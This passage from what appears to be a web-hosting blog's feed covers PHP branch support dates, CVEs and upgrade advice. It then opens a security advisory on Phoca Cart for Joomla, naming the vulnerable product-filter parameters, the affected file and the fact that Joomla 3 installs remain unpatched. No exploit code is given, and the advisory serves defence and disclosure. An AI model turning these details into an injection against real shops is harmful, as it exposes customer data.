https://mysites.guru/_astro/php-version-badges-mysites-guru.DJG29Xab_cxLE7.webp 1886w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;All three rules at once, on real rows. The green badges are sites on 8.5.9, the newest 8.5 release. The amber one is a site on 8.2.24, which was current until the 8.2 branch moved on to 8.2.33. The red ones are PHP 7.4, dead since November 2022, and no patch level rescues them because the rule catches the series by name.&lt;/p&gt;
&lt;p&gt;Notice what the badge does not do. Every site in that list is running Joomla 3.10.12, and their PHP badges range from green to red. The PHP colour is only ever about PHP.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A shortcut that is not signposted anywhere&lt;/p&gt;
  &lt;p&gt;Clicking a PHP badge in mySites.guru site lists drops that exact version into the site search box as a filter. Click the amber &lt;code&gt;8.5.7&lt;/code&gt; on one site and you immediately have every other site in your account sitting on 8.5.7, which is usually the whole server rather than the one site you were looking at.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Does a Newer PHP Version Show a Worse Colour?&lt;/h2&gt;
&lt;p&gt;Because two patch releases separate 8.5.7 from the current 8.5, and both of them included security fixes. The 8.5 branch went 8.5.7 on 4 June 2026, 8.5.8 on 2 July, then 8.5.9 on 30 July.&lt;/p&gt;
&lt;p&gt;The 30 July release went out across all four live branches at once, which is what the PHP project does when the fixes are security fixes rather than bug fixes. It included &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f&quot;&gt;CVE-2026-17544&lt;/a&gt;, an out-of-bounds write in BCMath, &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4&quot;&gt;CVE-2026-17543&lt;/a&gt;, a SQL injection in the PostgreSQL extension, and &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-vc5h-9ppw-p5f3&quot;&gt;CVE-2026-7260&lt;/a&gt;, a crash in Phar. The July release before it fixed memory corruption in &lt;code&gt;openssl_encrypt()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The amber badge in mySites.guru is therefore a statement about exposure rather than about version numbers. A site on 8.5.7 is missing named, published, exploitable fixes that a site on 8.4.24 already has. The smaller number is the safer server today.&lt;/p&gt;
&lt;p&gt;This is also why the amber tier exists for PHP at all. Joomla and WordPress version badges skip it: anything short of the current release goes straight to red, because CMS releases are less frequent and a missed one matters more. PHP ships a patch roughly every four weeks, on a Thursday, so amber fits a gap that is often only days old.&lt;/p&gt;
&lt;h2&gt;Which PHP Versions Are Supported Right Now?&lt;/h2&gt;
&lt;p&gt;Every PHP branch gets two years of active support, where ordinary bugs and security issues are both fixed, followed by two years where only critical security issues are patched. After four years it receives nothing at all.&lt;/p&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Branch&lt;/th&gt;&lt;th&gt;First released&lt;/th&gt;&lt;th&gt;Active support until&lt;/th&gt;&lt;th&gt;Security support until&lt;/th&gt;&lt;th&gt;Status today&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;8.2&lt;/td&gt;&lt;td&gt;8 Dec 2022&lt;/td&gt;&lt;td&gt;31 Dec 2024&lt;/td&gt;&lt;td&gt;31 Dec 2026&lt;/td&gt;&lt;td&gt;Security fixes only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;23 Nov 2023&lt;/td&gt;&lt;td&gt;31 Dec 2025&lt;/td&gt;&lt;td&gt;31 Dec 2027&lt;/td&gt;&lt;td&gt;Security fixes only&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;td&gt;21 Nov 2024&lt;/td&gt;&lt;td&gt;31 Dec 2026&lt;/td&gt;&lt;td&gt;31 Dec 2028&lt;/td&gt;&lt;td&gt;Active support&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.5&lt;/td&gt;&lt;td&gt;20 Nov 2025&lt;/td&gt;&lt;td&gt;31 Dec 2027&lt;/td&gt;&lt;td&gt;31 Dec 2029&lt;/td&gt;&lt;td&gt;Active support&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Anything below 8.2 is already gone. PHP 8.1 reached end of life on 31 December 2025, PHP 8.0 in November 2023, and PHP 7.4 back in November 2022.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;PHP branch support windows&lt;/p&gt;
  &lt;p&gt;Green is active support, amber is security fixes only, and the dashed line is today.&lt;/p&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        &lt;div&gt;&lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;8.0&lt;/div&gt;
          &lt;div&gt;8.1&lt;/div&gt;
          &lt;div&gt;8.2&lt;/div&gt;
          &lt;div&gt;8.3&lt;/div&gt;
          &lt;div&gt;8.4&lt;/div&gt;
          &lt;div&gt;8.5&lt;/div&gt;
        &lt;/div&gt;
        &lt;div&gt;&lt;/div&gt;
      &lt;/div&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;2023&lt;/span&gt;
          &lt;span&gt;2024&lt;/span&gt;
          &lt;span&gt;2025&lt;/span&gt;
          &lt;span&gt;2026&lt;/span&gt;
          &lt;span&gt;2027&lt;/span&gt;
          &lt;span&gt;2028&lt;/span&gt;
          &lt;span&gt;2029&lt;/span&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
            &lt;div&gt;&lt;/div&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div&gt;
              &lt;div&gt;&lt;/div&gt;
              &lt;div&gt;&lt;/div&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;span&gt;Today: 16 August 2026&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;dl&gt;
    &lt;div&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;div&gt;&lt;dt&gt;Active support.&lt;/dt&gt; &lt;dd&gt;Bugs and security issues are both fixed, with regular patch releases.&lt;/dd&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;div&gt;&lt;dt&gt;Security fixes only.&lt;/dt&gt; &lt;dd&gt;Critical security issues only, released as needed.&lt;/dd&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;div&gt;&lt;dt&gt;End of life.&lt;/dt&gt; &lt;dd&gt;No further releases of any kind. Known vulnerabilities stay unpatched.&lt;/dd&gt;&lt;/div&gt;
    &lt;/div&gt;
  &lt;/dl&gt;
&lt;/div&gt;
&lt;p&gt;PHP 8.6 reached its first beta in August 2026, with general availability targeted for late November. It is not a supported branch yet, and a production site running an 8.6 beta gets a red badge rather than credit for being early.&lt;/p&gt;
&lt;h2&gt;How Bad Is It to Be Running PHP 5, 7, 8.0 or 8.1 in 2026?&lt;/h2&gt;
&lt;p&gt;It depends enormously on which one, and lumping them together is how the warnings get ignored. PHP 8.1 stopped receiving fixes seven months ago. PHP 5.6 stopped more than seven years ago. Treating those as the same emergency is how you get a client who tunes out the whole subject.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Series&lt;/th&gt;&lt;th&gt;Last ever fix&lt;/th&gt;&lt;th&gt;Unpatched for&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;8.1&lt;/td&gt;&lt;td&gt;31 December 2025&lt;/td&gt;&lt;td&gt;7 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.0&lt;/td&gt;&lt;td&gt;26 November 2023&lt;/td&gt;&lt;td&gt;2 years 8 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7.4&lt;/td&gt;&lt;td&gt;28 November 2022&lt;/td&gt;&lt;td&gt;3 years 8 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7.0&lt;/td&gt;&lt;td&gt;3 December 2018&lt;/td&gt;&lt;td&gt;7 years 8 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5.6&lt;/td&gt;&lt;td&gt;31 December 2018&lt;/td&gt;&lt;td&gt;7 years 7 months&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;The Advisory List Stops Mentioning You&lt;/h3&gt;
&lt;p&gt;Here is the part that catches people out. When PHP published &lt;a href=&quot;https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4&quot;&gt;CVE-2026-17543&lt;/a&gt;, a SQL injection in the PostgreSQL extension, the advisory listed its affected versions as everything below 8.2.33, 8.3.33, 8.4.24 and 8.5.9. PHP 8.1 is not mentioned. Neither is 7.4, or 5.6.&lt;/p&gt;
&lt;p&gt;That absence is not a clean bill of health. Those branches are missing from the range because no one assessed them, not because the bug stops at 8.2. The vulnerable code was almost certainly there long before the branches that got named, and there will never be a fix, an advisory, or a version number to check against. Your scanner reports nothing, because there is nothing published to report.&lt;/p&gt;
&lt;p&gt;So the risk on a dead branch is unknowable rather than only high, and it compounds every month. PHP shipped fixes for eighteen CVEs across 2026’s releases alone. A few of those only touch code introduced in 8.5, but most reach back across the branches, and none of them are being backported to anything that is already past end of life.&lt;/p&gt;
&lt;h3&gt;What Actually Gets Sites Hacked&lt;/h3&gt;
&lt;p&gt;In the compromises we clean up, the PHP interpreter itself is rarely the way in. It is almost always the CMS or an extension. A site on PHP 8.1 that is otherwise current and well maintained is not in immediate danger from the interpreter, and anyone telling you it will be breached this week because of the PHP version is selling something.&lt;/p&gt;
&lt;p&gt;The reason old PHP still matters is what it does to everything above it. You cannot run current Joomla or WordPress on it. You cannot take extension updates once vendors raise their floors. So the layer that does get exploited is frozen along with the interpreter, and it stays frozen until PHP moves. That is the mechanism, rather than the interpreter itself being kicked in.&lt;/p&gt;
&lt;p&gt;Which gives a rough grading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP 8.1.&lt;/strong&gt; Not an emergency, and a reasonable place to be mid-migration. It is a deadline you have already missed rather than a fire, so put a date on it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 8.0 and 7.4.&lt;/strong&gt; Three years without a fix, and past the point where current CMS and extension releases will install. Plan the move now, because the stack above it has already stopped moving.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 7.0 and 5.x.&lt;/strong&gt; A rebuild conversation. Seven-plus years unpatched, no current CMS will run, and the code will need real work to port. &lt;a href=&quot;https://w3techs.com/technologies/details/pl-php&quot;&gt;W3Techs&lt;/a&gt; still has 29.0% of PHP sites on version 7 and 7.9% on version 5, so more than a third of the PHP web is here. Common is not the same as safe.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Green Means Patched, It Does Not Mean Future-Proof&lt;/h2&gt;
&lt;p&gt;Look again at the four versions that can earn a green badge in mySites.guru today: 8.2.33, 8.3.33, 8.4.24 and 8.5.9. Two of those four are on branches that left active support months or years ago. PHP 8.3 has been security-fixes-only since 31 December 2025, and PHP 8.2 since the end of 2024.&lt;/p&gt;
&lt;p&gt;So a site running PHP 8.3.33 shows a perfectly green badge while sitting on a branch that no longer receives bug fixes at all, only critical security patches. A site on 8.2.33 gets the same green, and the 8.2 branch stops receiving even those on 31 December 2026, roughly four months away. The badge says nothing about any of it.&lt;/p&gt;
&lt;p&gt;So half the versions that can go green are on branches already past their active-support window.&lt;/p&gt;
&lt;p&gt;What happens next is the sharpest limitation of the whole colour scheme. When 8.2 reaches end of life, php.net drops it out of the active releases feed, 8.2.33 stops matching, and the badge turns amber by itself. That is the right direction to move, but amber is also the colour for “one patch behind on a perfectly healthy branch”. A dead branch and a fortnight-old patch level end up looking identical.&lt;/p&gt;
&lt;p&gt;You can watch this happening today on PHP 8.1, which reached end of life on 31 December 2025. An 8.1 site shows amber rather than red, because the red rule only catches the PHP 5 and PHP 7 series by name. The colour understates the problem, and if you are running 8.1 the amber badge is doing you a disservice.&lt;/p&gt;
&lt;p&gt;So read green as “you have taken the patches that exist”, which is a question you can act on this afternoon, and treat the branch end-of-life dates in the table above as a separate question that belongs in next year’s budget. A site on 8.2 or 8.3 is fully patched and on a countdown at the same time. Our &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end-of-life version tracking&lt;/a&gt; does the equivalent job for Joomla and WordPress core versions.&lt;/p&gt;
&lt;h2&gt;What PHP Version Do WordPress and Joomla Actually Need?&lt;/h2&gt;
&lt;p&gt;The CMS minimums are considerably lower than what you should actually run, which is where a lot of the “but my site works fine” arguments come from.&lt;/p&gt;






















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Platform&lt;/th&gt;&lt;th&gt;Latest release&lt;/th&gt;&lt;th&gt;Minimum PHP&lt;/th&gt;&lt;th&gt;Recommended PHP&lt;/th&gt;&lt;th&gt;Highest PHP it runs on&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;WordPress&lt;/td&gt;&lt;td&gt;7.0.4&lt;/td&gt;&lt;td&gt;7.4 (dead since 2022)&lt;/td&gt;&lt;td&gt;8.3 or greater&lt;/td&gt;&lt;td&gt;Moves with PHP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 1.5&lt;/td&gt;&lt;td&gt;1.5.26 (2012)&lt;/td&gt;&lt;td&gt;4.3.10&lt;/td&gt;&lt;td&gt;5.3&lt;/td&gt;&lt;td&gt;PHP 5.3 era, never PHP 7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 2.5&lt;/td&gt;&lt;td&gt;2.5.28 (2014)&lt;/td&gt;&lt;td&gt;5.2.4&lt;/td&gt;&lt;td&gt;5.6&lt;/td&gt;&lt;td&gt;5.6, never PHP 7&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;3.10.12 (2023)&lt;/td&gt;&lt;td&gt;5.3.10&lt;/td&gt;&lt;td&gt;8.0&lt;/td&gt;&lt;td&gt;8.1, dead since Dec 2025&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;5.4.7&lt;/td&gt;&lt;td&gt;8.1.0 (dead since Dec 2025)&lt;/td&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;Moves with PHP&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;td&gt;6.1.2&lt;/td&gt;&lt;td&gt;8.3.0&lt;/td&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;td&gt;Moves with PHP&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Both projects set their floor at whatever will not break existing installs, so the minimum is a compatibility statement rather than a recommendation. WordPress says so directly on its requirements page, noting that it still runs on PHP 7.4 while pointing out that 7.4 reached end of life years ago.&lt;/p&gt;
&lt;p&gt;The last column is the one that matters for older sites, because it is a ceiling rather than a floor. Joomla 3 is the sharpest case. The project backported &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/36083&quot;&gt;PHP 8.1 compatibility fixes to the 3.10 branch&lt;/a&gt; before that branch closed, so 8.1 is the highest PHP a Joomla 3 site was ever made to run on. PHP 8.1 itself reached end of life on 31 December 2025.&lt;/p&gt;
&lt;p&gt;Which means a fully patched, best-case Joomla 3 site is sitting on &lt;a href=&quot;https://joomla3security.com/options/#php-deadline&quot;&gt;a PHP branch that has been receiving nothing for seven months&lt;/a&gt;, and no hosting change fixes it. Selecting PHP 8.2 in the control panel breaks the site instead. This is the extension problem from the previous section, one level up: &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;the CMS is the thing pinning PHP down&lt;/a&gt;, so the CMS has to move first. Joomla 1.5 and 2.5 are worse again, since neither ever ran on PHP 7 at all.&lt;/p&gt;
&lt;p&gt;Joomla 3 support formally ended on 17 August 2023, though a paid Extended Long Term Support programme carried on patching it until early 2025, and our own &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3 patch tool&lt;/a&gt; still applies known security fixes to 3.10.12 sites. None of that moves the PHP ceiling.&lt;/p&gt;
&lt;p&gt;The gap between those two columns is where most of the web lives. &lt;a href=&quot;https://w3techs.com/technologies/details/pl-php&quot;&gt;W3Techs data from 16 August 2026&lt;/a&gt; puts PHP on 70.3% of all sites whose server-side language is known, and among those, 29.0% are still on PHP 7 and 7.9% on PHP 5. More than a third of the PHP web is running a major version that has not received a security fix in years. Every one of those sites gets a red badge from us, and the badge is being generous.&lt;/p&gt;
&lt;p&gt;If you are planning upgrades, our &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7 compatibility&lt;/a&gt; posts cover what each jump actually needs, and the &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing CMS updates at scale guide&lt;/a&gt; covers doing it across a portfolio rather than one site at a time.&lt;/p&gt;
&lt;h2&gt;How Do I Move a Site From Amber to Green?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/php-critical-security-release-joomla-wordpress/&quot;&gt;PHP belongs to your host, not to your CMS&lt;/a&gt;, so there is nothing to click inside WordPress or Joomla. On most mass-market hosting the answer is a PHP version switcher somewhere in the control panel, and for the majority of sites that switcher is the entire story. On some hosts it is a one-way door: Fasthosts is the example I keep running into, where there is no route back to PHP 7 once a site has moved off it, so &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;trying PHP 8 to see whether an old site comes through becomes the migration itself&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Two things make it messier than that sounds, and both of them explain amber badges that look like no one’s fault.&lt;/p&gt;
&lt;h3&gt;A Server Does Not Have One PHP Version&lt;/h3&gt;
&lt;p&gt;It has several, and they can all differ. The CLI binary, PHP-FPM, CGI and any legacy mod_php can each sit on a different version on the same machine. Beyond that, a decent host will let you set the version per domain, and often per directory through &lt;code&gt;.htaccess&lt;/code&gt; overrides, which means the front end and the administrator area of one site can run different PHP versions. Per-file overrides exist too.&lt;/p&gt;
&lt;p&gt;So running &lt;code&gt;php -v&lt;/code&gt; over SSH tells you the version of the command-line binary and frequently nothing whatsoever about what serves your pages. It is the check most people reach for first, and it is the one most likely to send you off in the wrong direction.&lt;/p&gt;
&lt;p&gt;The version that counts is the one the site itself reports while serving a request. Both WordPress and Joomla surface that on their own system information screens, and mySites.guru reads the same self-reported value from each connected site, which is why the badge reflects reality rather than what the server’s shell says.&lt;/p&gt;
&lt;h3&gt;Your Host Only Offers What It Has Installed&lt;/h3&gt;
&lt;p&gt;The switcher lists the versions your host has bothered to load onto that server, and hosts lag behind PHP releases considerably. Patch releases arrive roughly every four weeks. Plenty of hosts are weeks or months behind that, and some never offer a specific patch at all, jumping straight from one to the next.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;An amber badge in mySites.guru is not always something you can fix&lt;/p&gt;
  &lt;p&gt;If your host has not installed the current patch, it will not be in the switcher and there is no setting that conjures it up. At that point the useful action is to ask them when it is coming. A host that is habitually months behind on security patches is telling you something about the rest of their operation.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;With that in mind:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amber, and the current patch is in the switcher.&lt;/strong&gt; Select it. This is the common case and takes a minute.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amber, and the current patch is not offered.&lt;/strong&gt; Ask your host when they are applying it. Nothing on your side changes this.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amber on a branch that is near end of life.&lt;/strong&gt; Move up a branch rather than chasing the patch, but test first: a branch change is a real upgrade, unlike a patch bump.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red.&lt;/strong&gt; Treat it as a migration, not a switch. PHP 5 and 7 code often will not run unmodified on PHP 8, so work on a copy. If the CMS itself is what pins you to the dead branch, the CMS is the thing that has to move first.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Patch bumps inside a branch are designed to be safe, which is the reason to take them quickly. Branch changes are where things break, so those get a staging copy and a proper test.&lt;/p&gt;
&lt;p&gt;If you want this across everything you run rather than one site at a time, a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports the PHP version alongside the rest of a site’s state. Watching it on every site, every hour, and colouring it against what php.net published this morning is part of the mySites.guru subscription.&lt;/p&gt;
&lt;h2&gt;Your Extensions Get a Vote&lt;/h2&gt;
&lt;p&gt;Moving up a branch reads like a hosting decision, but the code running on the site has to agree, and often it does not.&lt;/p&gt;
&lt;h3&gt;Old code blocks the move up&lt;/h3&gt;
&lt;p&gt;Every PHP release removes things as well as adding them. An extension written in 2019 was tested against the PHP versions that existed in 2019, and no one validated it against PHP 8.5, because PHP 8.5 did not exist yet. Where the vendor has disappeared, or the extension was abandoned years ago, or it is the bespoke component a previous developer wrote and never documented, there is no one left to do that validation now. The site cannot move until the code moves.&lt;/p&gt;
&lt;h3&gt;New code blocks standing still&lt;/h3&gt;
&lt;p&gt;This is the half people miss. Vendors raise their own PHP floors, and when they do, the update stops being offered to you at all. When &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;Regular Labs patched its entire Joomla extension catalogue&lt;/a&gt;, the release also raised the minimum to PHP 8.2. Sites still on PHP 8.1 were not offered the security update, so an old PHP version left them stranded on the vulnerable builds of everything that vendor makes.&lt;/p&gt;
&lt;p&gt;That is the vice. Old extensions stop you going forwards, and new extension releases stop you staying where you are. A site no one has touched for a few years usually has both problems at the same time, and each one is being made worse by the other.&lt;/p&gt;
&lt;p&gt;Which is why “just upgrade PHP” is glib advice. A patch bump inside a branch is low-risk and should be taken quickly. A branch change is a project: it needs a staging copy, a real test, and before either of those, an inventory of what is actually installed and how far behind it is. mySites.guru keeps that inventory for every connected site, with the version of every extension, which is the part that turns “we have no idea what will break” into a number of hours.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;PHP: Supported Versions&lt;/a&gt; - the official support timetable, and the source of the dates in this post.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/eol.php&quot;&gt;PHP: Unsupported Branches&lt;/a&gt; - every branch that has already reached end of life, with the date it happened.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/ChangeLog-8.php&quot;&gt;PHP 8 ChangeLog&lt;/a&gt; - what was actually in each patch release, including the CVEs.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/about/requirements/&quot;&gt;WordPress Requirements&lt;/a&gt; - the official minimum and recommended PHP versions for WordPress.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;Joomla Technical Requirements&lt;/a&gt; - the current Joomla manual, which supersedes the old docs wiki.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>php</category><category>updates</category><category>security</category><category>hosting</category><category>end-of-life</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/php-supported-versions-amber-green.png" length="0" type="image/png"/></item><item><title>Phoca Cart 5.2.4, 6.1.7 and 4.0.13 fix a front-end SQL injection</title><link>https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/</link><guid isPermaLink="true">https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/</guid><description>Phoca Cart 5.2.4, 6.1.7 and 4.0.13 patch an unauthenticated SQL injection in the Joomla extension&apos;s product filter. Joomla 5 on 6.x isn&apos;t offered it.</description><pubDate>Sun, 16 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On 16 August 2026 Phoca shipped three security releases of Phoca Cart, the e-commerce extension for Joomla. The first two went out on the morning: 6.1.7 at 10:23 UTC and 5.2.4 sixteen minutes later. A third, 4.0.13 for the Joomla 4 line, followed that evening at 20:39 UTC. Here is everything Phoca published about what changed.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Release note for Phoca Cart 5.2.4, in full&lt;/p&gt;&lt;p&gt;This is a security release.&lt;/p&gt;&lt;p&gt;Five words on the package itself. No affected versions, no description of the flaw, no severity, no CVE, no workaround, and nothing to tell a site owner whether this is a quiet hardening tweak or an anonymous visitor reading their customer table. The fuller statement came later in the day.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;It did come. Phoca published a &lt;a href=&quot;https://www.phoca.cz/news/1506-phoca-cart-version-6-1-7-released-security-release&quot;&gt;news item for the 6.1.7 release&lt;/a&gt; the same day, and this time the changelog names the flaw: “Fixed possible unauthenticated SQL Injection”, with a detailed report promised later from an external source. The 6.1.7 GitHub release notes go one step further and credit the report to Toan Le. So this was a timing gap, not a policy, and it is to Phoca’s credit that the record was put straight on the same calendar day.&lt;/p&gt;
&lt;p&gt;We have spent a lot of this year reading release notes that never caught up. JoomShaper shipped a critical Helix3 patch under a changelog that &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;said only “Security Update”&lt;/a&gt;. Balbooa’s &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;remote code execution fix&lt;/a&gt; arrived under a plain “Fixed” heading, with nothing to say it closed a hole being exploited at the time. &lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud&lt;/a&gt; pushed a security release to every site through the update system while its changelog file still held exactly one entry, for a version long past. The Joomla project’s own guidance covers this as rule 17 of the &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;twenty rules for developers handling a security report&lt;/a&gt;: do not hide security fixes in vague language. Phoca, eventually, did not.&lt;/p&gt;
&lt;p&gt;The five-word package note still matters for one reason: for the first few hours it was the only public statement, and Joomla 4 sites had nothing at all until the evening release. The words a vendor puts in a release note are a poor guide to how urgently you need to update. The version number is the part you can act on.&lt;/p&gt;
&lt;p&gt;So we pulled the packages apart to work out what changed. The answer is an unauthenticated SQL injection in the product filter, fixed in the same file on all three lines. The more useful answer, if you manage Joomla sites for other people, is that a large share of the installs affected by this will never be offered the fix by Joomla’s own updater, and will keep reporting themselves as up to date.&lt;/p&gt;
&lt;h2&gt;Update, 1 October 2026: Phoca Cart 6.1.9 fixes a second flaw&lt;/h2&gt;
&lt;p&gt;Phoca released Phoca Cart 6.1.9, a security release fixing an unauthenticated flaw that let anyone download the digital products other customers had bought. The fixed versions this post recommends below (5.2.4, 6.1.7 and 4.0.13) are all still vulnerable to it, and so is 6.1.8. Only the Joomla 6 line has a fix, so Joomla 5 shops need to install the 6.1.9 package by hand, and Joomla 3 and 4 shops have no fixed release at all. The details and what to do on each Joomla version are in &lt;a href=&quot;https://mysites.guru/blog/phoca-cart-6-1-9-download-idor/&quot;&gt;our post on the Phoca Cart 6.1.9 download fix&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Phoca Cart &lt;strong&gt;5.2.4&lt;/strong&gt; (Joomla 5), &lt;strong&gt;6.1.7&lt;/strong&gt; (Joomla 6) and &lt;strong&gt;4.0.13&lt;/strong&gt; (Joomla 4) fix an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in the product filter&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;a&lt;/code&gt; (attribute) and &lt;code&gt;s&lt;/code&gt; (specification) request parameters were concatenated into the &lt;code&gt;WHERE&lt;/code&gt; clause of the product listing query inside hand-written quotes, on a &lt;strong&gt;public page, with no login and no token&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Injection points in &lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt;, now passed through &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; (six on the 5.x/6.x lines, four on the 4.x line)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla 3 is the only branch still unpatched.&lt;/strong&gt; We confirmed the identical vulnerable code in 3.5.8, the newest release offered to that platform, and no fixed release exists for it&lt;/li&gt;
